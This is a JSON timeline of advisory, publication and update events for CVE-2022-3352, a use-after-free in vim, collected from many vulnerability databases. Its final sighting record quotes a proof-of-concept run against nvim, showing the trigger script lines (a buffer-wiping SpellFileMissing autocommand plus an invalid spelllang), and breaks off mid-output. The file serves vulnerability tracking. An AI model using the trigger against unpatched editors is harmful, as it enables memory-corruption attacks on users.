{"metadata": {"vulnerability": "CVE-2022-3352", "count": 93, "kinds": {"milestone": 19, "sighting": 3, "kev": 0, "other": 71}}, "data": [{"timestamp": "2022-09-02T00:00:00Z", "date_only": false, "value": "2022-09-02T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-3352", "record": "MSRC_CVE-2022-3352", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2022-09-28T00:00:00Z", "date_only": false, "value": "2022-09-28T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2022-3352", "field": "cveMetadata.dateReserved"}, {"timestamp": "2022-09-29T00:00:00Z", "date_only": false, "value": "2022-09-29T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2022-3352", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2022-09-29T12:15:00Z", "date_only": false, "value": "2022-09-29T12:15:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-H6WF-GRQM-Q95X", "record": "GHSA-H6WF-GRQM-Q95X", "field": "database_specific.nvd_published_at"}, {"timestamp": "2022-09-29T12:15:00Z", "date_only": false, "value": "2022-09-29T12:15:00Z", "kind": "milestone", "label": "Published", "source": "osv_ubuntu \u00b7 UBUNTU-CVE-2022-3352", "record": "UBUNTU-CVE-2022-3352", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2022-09-29T12:15:00Z", "date_only": false, "value": "2022-09-29T12:15Z", "kind": "other", "label": "Published Date", "source": "gsd \u00b7 GSD-2022-3352", "record": "GSD-2022-3352", "field": "namespaces.nvd.nist.gov.publishedDate"}, {"timestamp": "2022-09-29T12:15:09.710Z", "date_only": false, "value": "2022-09-29T12:15:09.710", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-3352", "record": "FKIE_CVE-2022-3352", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2022-09-29T16:35:02Z", "date_only": false, "value": "2022-09-29T16:35:02.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cibsecurity/50726", "record": "CVE-2022-3352", "field": "creation_timestamp", "uuid": "4724f865-1d79-4f67-829c-b04b5448fbc8", "content": "\u203c CVE-2022-3352 \u203c\n\nUse After Free in GitHub repository vim/vim prior to 9.0.0614.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "url": "https://t.me/cibsecurity/50726"}, {"timestamp": "2022-09-29T22:00:00Z", "date_only": false, "value": "2022-09-29T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1584", "record": "WID-SEC-W-2022-1584", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-09-29T22:00:00Z", "date_only": false, "value": "2022-09-29T22:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1584", "record": "WID-SEC-W-2022-1584", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2022-09-29T22:00:00Z", "date_only": false, "value": "2022-09-29T22:00:00.000+00:00", "kind": "other", "label": "Release date", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1584", "record": "WID-SEC-W-2022-1584", "field": "vulnerabilities.1.release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2022-09-30T00:00:45Z", "date_only": false, "value": "2022-09-30T00:00:45Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-H6WF-GRQM-Q95X", "record": "GHSA-H6WF-GRQM-Q95X", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2022-10-01T00:00:00Z", "date_only": false, "value": "2022-10-01T00:00:00.000Z", "kind": "other", "label": "Advisory revision", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-3352", "record": "MSRC_CVE-2022-3352", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-10-01T00:00:00Z", "date_only": false, "value": "2022-10-01T00:00:00.000Z", "kind": "other", "label": "Updated", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-3352", "record": "MSRC_CVE-2022-3352", "field": "document.tracking.current_release_date"}, {"timestamp": "2022-10-01T00:00:00Z", "date_only": false, "value": "2022-10-01T00:00:00.000Z", "kind": "other", "label": "Vendor fix", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-3352", "record": "MSRC_CVE-2022-3352", "field": "vulnerabilities.0.remediations.0.date", "metric_role": "patch", "metric_basis": "recorded_event"}, {"timestamp": "2022-10-01T00:00:16Z", "date_only": false, "value": "2022-10-01T00:00:16Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-H6WF-GRQM-Q95X", "record": "GHSA-H6WF-GRQM-Q95X", "field": "modified"}, {"timestamp": "2022-10-08T00:00:00Z", "date_only": true, "value": "2022-10-08", "kind": "other", "label": "Submit Time", "source": "cnvd \u00b7 CNVD-2022-68074", "record": "CNVD-2022-68074", "field": "submitTime"}, {"timestamp": "2022-10-10T00:00:00Z", "date_only": true, "value": "2022-10-10", "kind": "other", "label": "Open Time", "source": "cnvd \u00b7 CNVD-2022-68074", "record": "CNVD-2022-68074", "field": "openTime"}, {"timestamp": "2022-10-11T22:00:00Z", "date_only": false, "value": "2022-10-11T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1584", "record": "WID-SEC-W-2022-1584", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2022-10-12T22:00:00Z", "date_only": false, "value": "2022-10-12T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1584", "record": "WID-SEC-W-2022-1584", "field": "document.tracking.revision_history.2.date"}, {"timestamp": "2022-10-14T11:05:17Z", "date_only": false, "value": "2022-10-14T11:05:17Z", "kind": "milestone", "label": "Published", "source": "osv_openeuler \u00b7 OESA-2022-1980", "record": "OESA-2022-1980", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2022-10-20T22:00:00Z", "date_only": false, "value": "2022-10-20T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1584", "record": "WID-SEC-W-2022-1584", "field": "document.tracking.revision_history.3.date"}, {"timestamp": "2022-11-08T23:00:00Z", "date_only": false, "value": "2022-11-08T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1584", "record": "WID-SEC-W-2022-1584", "field": "document.tracking.revision_history.4.date"}, {"timestamp": "2022-11-23T23:00:00Z", "date_only": false, "value": "2022-11-23T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1584", "record": "WID-SEC-W-2022-1584", "field": "document.tracking.revision_history.5.date"}, {"timestamp": "2022-11-29T14:50:54Z", "date_only": false, "value": "2022-11-29T14:50:54Z", "kind": "other", "label": "Advisory revision", "source": "csaf_suse \u00b7 SUSE-SU-2022:4282-1", "record": "SUSE-SU-2022:4282-1", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-11-29T14:50:54Z", "date_only": false, "value": "2022-11-29T14:50:54Z", "kind": "other", "label": "Document generated", "source": "csaf_suse \u00b7 SUSE-SU-2022:4282-1", "record": "SUSE-SU-2022:4282-1", "field": "document.tracking.generator.date"}, {"timestamp": "2022-11-29T14:50:54Z", "date_only": false, "value": "2022-11-29T14:50:54Z", "kind": "other", "label": "Impact", "source": "csaf_suse \u00b7 SUSE-SU-2022:4282-1", "record": "SUSE-SU-2022:4282-1", "field": "vulnerabilities.0.threats.0.date"}, {"timestamp": "2022-11-29T14:50:54Z", "date_only": false, "value": "2022-11-29T14:50:54Z", "kind": "milestone", "label": "Published", "source": "csaf_suse \u00b7 SUSE-SU-2022:4282-1", "record": "SUSE-SU-2022:4282-1", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2022-11-29T14:50:54Z", "date_only": false, "value": "2022-11-29T14:50:54Z", "kind": "other", "label": "Updated", "source": "csaf_suse \u00b7 SUSE-SU-2022:4282-1", "record": "SUSE-SU-2022:4282-1", "field": "document.tracking.current_release_date"}, {"timestamp": "2022-11-29T23:00:00Z", "date_only": false, "value": "2022-11-29T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1584", "record": "WID-SEC-W-2022-1584", "field": "document.tracking.revision_history.6.date"}, {"timestamp": "2022-11-30T23:00:00Z", "date_only": false, "value": "2022-11-30T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1584", "record": "WID-SEC-W-2022-1584", "field": "document.tracking.revision_history.7.date"}, {"timestamp": "2022-12-12T23:00:00Z", "date_only": false, "value": "2022-12-12T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1584", "record": "WID-SEC-W-2022-1584", "field": "document.tracking.revision_history.8.date"}, {"timestamp": "2022-12-26T23:00:00Z", "date_only": false, "value": "2022-12-26T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1584", "record": "WID-SEC-W-2022-1584", "field": "document.tracking.revision_history.9.date"}, {"timestamp": "2022-12-27T04:16:45Z", "date_only": false, "value": "2022-12-27T04:16:45Z", "kind": "other", "label": "Advisory revision", "source": "csaf_suse \u00b7 SUSE-SU-2022:4619-1", "record": "SUSE-SU-2022:4619-1", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-12-27T04:16:45Z", "date_only": false, "value": "2022-12-27T04:16:45Z", "kind": "other", "label": "Document generated", "source": "csaf_suse \u00b7 SUSE-SU-2022:4619-1", "record": "SUSE-SU-2022:4619-1", "field": "document.tracking.generator.date"}, {"timestamp": "2022-12-27T04:16:45Z", "date_only": false, "value": "2022-12-27T04:16:45Z", "kind": "other", "label": "Impact", "source": "csaf_suse \u00b7 SUSE-SU-2022:4619-1", "record": "SUSE-SU-2022:4619-1", "field": "vulnerabilities.0.threats.0.date"}, {"timestamp": "2022-12-27T04:16:45Z", "date_only": false, "value": "2022-12-27T04:16:45Z", "kind": "milestone", "label": "Published", "source": "csaf_suse \u00b7 SUSE-SU-2022:4619-1", "record": "SUSE-SU-2022:4619-1", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2023-02-14T07:50:00Z", "date_only": false, "value": "2023-02-14T07:50:00.000Z", "kind": "other", "label": "Advisory revision", "source": "csaf_phoenixcontactgmbhcokg \u00b7 VDE-2023-001", "record": "VDE-2023-001", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2023-02-14T07:50:00Z", "date_only": false, "value": "2023-02-14T07:50:00.000Z", "kind": "milestone", "label": "Published", "source": "csaf_phoenixcontactgmbhcokg \u00b7 VDE-2023-001", "record": "VDE-2023-001", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2023-03-06T23:00:00Z", "date_only": false, "value": "2023-03-06T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1584", "record": "WID-SEC-W-2022-1584", "field": "document.tracking.revision_history.10.date"}, {"timestamp": "2023-04-05T22:00:00Z", "date_only": false, "value": "2023-04-05T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1584", "record": "WID-SEC-W-2022-1584", "field": "document.tracking.revision_history.11.date"}, {"timestamp": "2023-05-03T00:00:00Z", "date_only": false, "value": "2023-05-03T00:00:00.000Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / @huntrdev", "record": "CVE-2022-3352", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2023-05-03T12:16:00Z", "date_only": false, "value": "2023-05-03T12:16Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-2022-3352", "record": "GSD-2022-3352", "field": "namespaces.nvd.nist.gov.lastModifiedDate"}, {"timestamp": "2023-06-12T22:00:00Z", "date_only": false, "value": "2023-06-12T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-1424", "record": "WID-SEC-W-2023-1424", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2023-06-12T22:00:00Z", "date_only": false, "value": "2023-06-12T22:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-1424", "record": "WID-SEC-W-2023-1424", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2023-06-12T22:00:00Z", "date_only": false, "value": "2023-06-12T22:00:00.000+00:00", "kind": "other", "label": "Release date", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-1424", "record": "WID-SEC-W-2023-1424", "field": "vulnerabilities.75.release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2023-08-31T12:14:01.975Z", "date_only": false, "value": "2023-08-31T12:14:01.97504Z", "kind": "milestone", "label": "Published", "source": "osv_bellsoft \u00b7 BELL-CVE-2022-3352", "record": "BELL-CVE-2022-3352", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2023-08-31T12:14:01.975Z", "date_only": false, "value": "2023-08-31T12:14:01.97507Z", "kind": "other", "label": "Updated", "source": "osv_bellsoft \u00b7 BELL-CVE-2022-3352", "record": "BELL-CVE-2022-3352", "field": "modified"}, {"timestamp": "2023-08-31T12:14:01.975Z", "date_only": false, "value": "2023-08-31T12:14:01.97507Z", "kind": "other", "label": "Withdrawn", "source": "osv_bellsoft \u00b7 BELL-CVE-2022-3352", "record": "BELL-CVE-2022-3352", "field": "withdrawn"}, {"timestamp": "2023-10-08T22:00:00Z", "date_only": false, "value": "2023-10-08T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1584", "record": "WID-SEC-W-2022-1584", "field": "document.tracking.revision_history.12.date"}, {"timestamp": "2023-12-13T01:19:39.672Z", "date_only": false, "value": "2023-12-13T01:19:39.672825Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2022-3352", "record": "GSD-2022-3352", "field": "gsd.osvSchema.modified"}, {"timestamp": "2024-04-04T22:00:00Z", "date_only": false, "value": "2024-04-04T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-0794", "record": "WID-SEC-W-2024-0794", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2024-04-04T22:00:00Z", "date_only": false, "value": "2024-04-04T22:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-0794", "record": "WID-SEC-W-2024-0794", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2024-04-04T22:00:00Z", "date_only": false, "value": "2024-04-04T22:00:00.000+00:00", "kind": "other", "label": "Release date", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-0794", "record": "WID-SEC-W-2024-0794", "field": "vulnerabilities.340.release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2024-06-15T00:00:00Z", "date_only": false, "value": "2024-06-15T00:00:00Z", "kind": "other", "label": "Advisory revision", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:12378-1", "record": "OPENSUSE-SU-2024:12378-1", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2024-06-15T00:00:00Z", "date_only": false, "value": "2024-06-15T00:00:00Z", "kind": "other", "label": "Document generated", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:12378-1", "record": "OPENSUSE-SU-2024:12378-1", "field": "document.tracking.generator.date"}, {"timestamp": "2024-06-15T00:00:00Z", "date_only": false, "value": "2024-06-15T00:00:00Z", "kind": "other", "label": "Impact", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:12378-1", "record": "OPENSUSE-SU-2024:12378-1", "field": "vulnerabilities.0.threats.0.date"}, {"timestamp": "2024-06-15T00:00:00Z", "date_only": false, "value": "2024-06-15T00:00:00Z", "kind": "milestone", "label": "Published", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:12378-1", "record": "OPENSUSE-SU-2024:12378-1", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2024-08-03T01:07:06.465Z", "date_only": false, "value": "2024-08-03T01:07:06.465Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2022-3352", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-09-02T17:10:18Z", "date_only": false, "value": "2024-09-02T17:10:18Z", "kind": "other", "label": "Updated", "source": "cleanstart \u00b7 CLEANSTART-2024-NN89250", "record": "CLEANSTART-2024-NN89250", "field": "modified"}, {"timestamp": "2024-11-27T23:00:00Z", "date_only": false, "value": "2024-11-27T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-0794", "record": "WID-SEC-W-2024-0794", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2025-03-30T22:00:00Z", "date_only": false, "value": "2025-03-30T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1584", "record": "WID-SEC-W-2022-1584", "field": "document.tracking.revision_history.13.date"}, {"timestamp": "2025-03-30T22:00:00Z", "date_only": false, "value": "2025-03-30T22:00:00.000+00:00", "kind": "other", "label": "Updated", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1584", "record": "WID-SEC-W-2022-1584", "field": "document.tracking.current_release_date"}, {"timestamp": "2025-03-31T08:36:00.134Z", "date_only": false, "value": "2025-03-31T08:36:00.134+00:00", "kind": "other", "label": "Document generated", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1584", "record": "WID-SEC-W-2022-1584", "field": "document.tracking.generator.date"}, {"timestamp": "2025-05-08T11:33:36.410Z", "date_only": false, "value": "2025-05-08T11:33:36.410Z", "kind": "other", "label": "Document generated", "source": "csaf_phoenixcontactgmbhcokg \u00b7 VDE-2023-001", "record": "VDE-2023-001", "field": "document.tracking.generator.date"}, {"timestamp": "2025-05-20T20:17:26.676Z", "date_only": false, "value": "2025-05-20T20:17:26.676617Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2022-3352", "field": "containers.adp.1.metrics.0.other.content.timestamp"}, {"timestamp": "2025-05-20T20:17:26.676Z", "date_only": false, "value": "2025-05-20T20:17:26.676617Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-3352", "record": "FKIE_CVE-2022-3352", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2025-05-20T20:17:40.967Z", "date_only": false, "value": "2025-05-20T20:17:40.967Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2022-3352", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2025-05-20T20:17:40.967Z", "date_only": false, "value": "2025-05-20T20:17:40.967Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2022-3352", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2025-05-20T20:41:21Z", "date_only": false, "value": "2025-05-20T20:41:21.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/17087", "record": "CVE-2022-3352", "field": "creation_timestamp", "uuid": "e865f24d-2331-4a90-9fe5-72b6a68cea06", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-3352\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_0, Vector: CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Use After Free in GitHub repository vim/vim prior to 9.0.0614.\n\ud83d\udccf Published: 2022-09-29T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-20T20:17:40.967Z\n\ud83d\udd17 References:\n1. https://huntr.dev/bounties/d058f182-a49b-40c7-9234-43d4c5a29f60\n2. https://github.com/vim/vim/commit/ef976323e770315b5fca544efb6b2faa25674d15\n3. https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/LSSEWQLK55MCNT4Z2IIJEJYEI5HLCODI/\n4. https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4QI7AETXBHPC7SGA77Q7O5IEGULWYET7/\n5. https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/GTBVD4J2SKVSWK4VBN5JP5OEVK6GDS3N/\n6. https://lists.debian.org/debian-lts-announce/2022/11/msg00032.html\n7. https://security.gentoo.org/glsa/202305-16", "url": "https://t.me/DarkWebInformer_CVEAlerts/17087"}, {"timestamp": "2025-06-05T13:28:12Z", "date_only": false, "value": "2025-06-05T13:28:12.000Z", "kind": "other", "label": "Advisory revision", "source": "csaf_phoenixcontactgmbhcokg \u00b7 VDE-2023-001", "record": "VDE-2023-001", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2025-06-05T13:28:12Z", "date_only": false, "value": "2025-06-05T13:28:12.000Z", "kind": "other", "label": "Updated", "source": "csaf_phoenixcontactgmbhcokg \u00b7 VDE-2023-001", "record": "VDE-2023-001", "field": "document.tracking.current_release_date"}, {"timestamp": "2025-07-10T00:00:00Z", "date_only": true, "value": "2025-07-10", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2025-AVI-0585", "record": "CERTFR-2025-AVI-0585", "field": "vendor_advisories.1.published_at"}, {"timestamp": "2025-07-11T00:00:00Z", "date_only": true, "value": "2025-07-11", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2025-AVI-0585", "record": "CERTFR-2025-AVI-0585", "field": "vendor_advisories.0.published_at"}, {"timestamp": "2025-07-11T00:00:00Z", "date_only": false, "value": "2025-07-11T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2025-AVI-0585", "record": "CERTFR-2025-AVI-0585", "field": "revisions.0.revision_date"}, {"timestamp": "2025-08-14T00:00:00Z", "date_only": true, "value": "2025-08-14", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2025-AVI-0693", "record": "CERTFR-2025-AVI-0693", "field": "vendor_advisories.0.published_at"}, {"timestamp": "2025-08-14T00:00:00Z", "date_only": false, "value": "2025-08-14T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2025-AVI-0693", "record": "CERTFR-2025-AVI-0693", "field": "revisions.0.revision_date"}, {"timestamp": "2025-09-08T16:49:44Z", "date_only": false, "value": "2025-09-08T16:49:44Z", "kind": "other", "label": "Updated", "source": "osv_ubuntu \u00b7 UBUNTU-CVE-2022-3352", "record": "UBUNTU-CVE-2022-3352", "field": "modified"}, {"timestamp": "2025-10-06T22:00:00Z", "date_only": false, "value": "2025-10-06T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-1424", "record": "WID-SEC-W-2023-1424", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2025-10-06T22:00:00Z", "date_only": false, "value": "2025-10-06T22:00:00.000+00:00", "kind": "other", "label": "Updated", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-1424", "record": "WID-SEC-W-2023-1424", "field": "document.tracking.current_release_date"}, {"timestamp": "2025-10-07T08:04:36.463Z", "date_only": false, "value": "2025-10-07T08:04:36.463+00:00", "kind": "other", "label": "Document generated", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-1424", "record": "WID-SEC-W-2023-1424", "field": "document.tracking.generator.date"}, {"timestamp": "2025-10-19T23:55:36.227Z", "date_only": false, "value": "2025-10-19T23:55:36.227Z", "kind": "other", "label": "Document generated", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-3352", "record": "MSRC_CVE-2022-3352", "field": "document.tracking.generator.date"}, {"timestamp": "2026-01-22T23:00:00Z", "date_only": false, "value": "2026-01-22T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-0794", "record": "WID-SEC-W-2024-0794", "field": "document.tracking.revision_history.2.date"}, {"timestamp": "2026-01-22T23:00:00Z", "date_only": false, "value": "2026-01-22T23:00:00.000+00:00", "kind": "other", "label": "Updated", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-0794", "record": "WID-SEC-W-2024-0794", "field": "document.tracking.current_release_date"}, {"timestamp": "2026-01-23T08:51:02.418Z", "date_only": false, "value": "2026-01-23T08:51:02.418+00:00", "kind": "other", "label": "Document generated", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-0794", "record": "WID-SEC-W-2024-0794", "field": "document.tracking.generator.date"}, {"timestamp": "2026-06-17T04:59:21.797Z", "date_only": false, "value": "2026-06-17T04:59:21.797", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-3352", "record": "FKIE_CVE-2022-3352", "field": "lastModified"}, {"timestamp": "2026-08-06T11:05:17Z", "date_only": false, "value": "2026-08-06T11:05:17Z", "kind": "other", "label": "Updated", "source": "osv_openeuler \u00b7 OESA-2022-1980", "record": "OESA-2022-1980", "field": "modified"}, {"timestamp": "2026-09-20T13:35:18.524Z", "date_only": false, "value": "2026-09-20T13:35:18.524924Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/zhuozhenwei/020dd32768360bdb72d0b9fe4d169dcc", "record": "CVE-2022-3352", "field": "creation_timestamp", "uuid": "2445d465-1f2f-4ebb-8040-901251691196", "content": "Command:\n./nvim-0.8.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: n0\n\nline 1: unlet! b:keymap_name\n\nline 2: au SpellFileMissing 0 bw\n\nline 3: cal assert_fails('se spell spelllang=0')\n\nline 3: se spell spelllang=0\n\nSearching for \"spell/en.utf-8.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/en.utf-8.spl\"\nReading spell file \"/usr/local/share/nvim/runtime/spell/en.utf-8.spl\"\nSearching for \"spell/en.utf-8.add.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/en.utf-8.add.spl\"\nReading spell file \"/usr/local/share/nvim/runtime/spell/en.utf-8.add.spl\"\nSearching for \"/usr/local/lib/nvim/spell/en.utf-8.add.spl\"\nSearching for \"spell/0.utf-8.spl\" in runtime path\nSearching for 